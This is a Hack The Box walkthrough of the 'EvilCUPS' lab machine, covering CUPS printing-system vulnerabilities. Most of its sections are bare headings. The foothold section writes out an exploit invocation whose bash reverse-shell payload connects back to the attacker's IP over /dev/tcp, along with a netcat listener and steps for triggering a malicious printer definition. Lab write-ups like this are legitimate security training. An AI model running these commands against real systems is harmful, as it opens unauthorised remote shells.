EvilCUPS HTB Walkthrough

Oct 22, 2024    #box   #htb   #medium   #linux   #cve-2024-4176   #cve-2024-4175   #cve-2024-4177   #cve-2024-4076   #cups  

EvilCUPS Hack The Box Walkthrough/Writeup:

How I use variables & Wordlists:

1. Enumeration:

NMAP:

Basic Scans:

CUPS 631:

Common UNIX Printing System (CUPS) Primer:

Internet Printing Protocol (IPP) Primer:

PostScript Printer Description (PPD) Primer:

Attack Chain:

2. Foothold:

Exploiting the CUPS vulnerabilities to get a low privilege shell:

Preparing the CUPS Exploit:

Running the CUPS Exploit:

  1. Running the exploit to send the payload:

    • python3 evilcups.py [AttackIP] [VictimIP] "bash -c 'bash -i >& /dev/tcp/[AttackIP]/[AttackPort] 0>&1'"
    • python3 evilcups.py 10.10.14.58 $box "bash -c 'bash -i >& /dev/tcp/10.10.14.58/443 0>&1'"
    • Now the payload is sent we can move onto the next stage of triggering the exploit:
  2. Start our listener:

    • rlwrap -cAr nc -lnvp 443
  3. Trigger the exploit:

    • Navigating the CUPS web-console we can see our malicious printer is listed:

    • Printing our test page to trigger the exploit:

      • In order to activate the exploit and trigger the malicious PPD directives we need to either wait for a print job to be sent to the fake printer or we can trigger one ourselves using the “Test Print” functionality.
  4. Low Priv Shell Caught:

  5. Get our User Flag:

3. Privilege Escalation:

Reading Cached Print Queues to retrieve the Root Password:

4. Ownership:

SSH’ing As Root to get the root flag:

Lessons Learned:

What did I learn?

  1. Reading the https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ I learned ALOT about CUPS, PPD, IPP etc.

What silly mistakes did I make?

  1. Forgot a closing quotation mark a few times, that was fun.

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at proton dot me



Next: Resolute HTB Walkthrough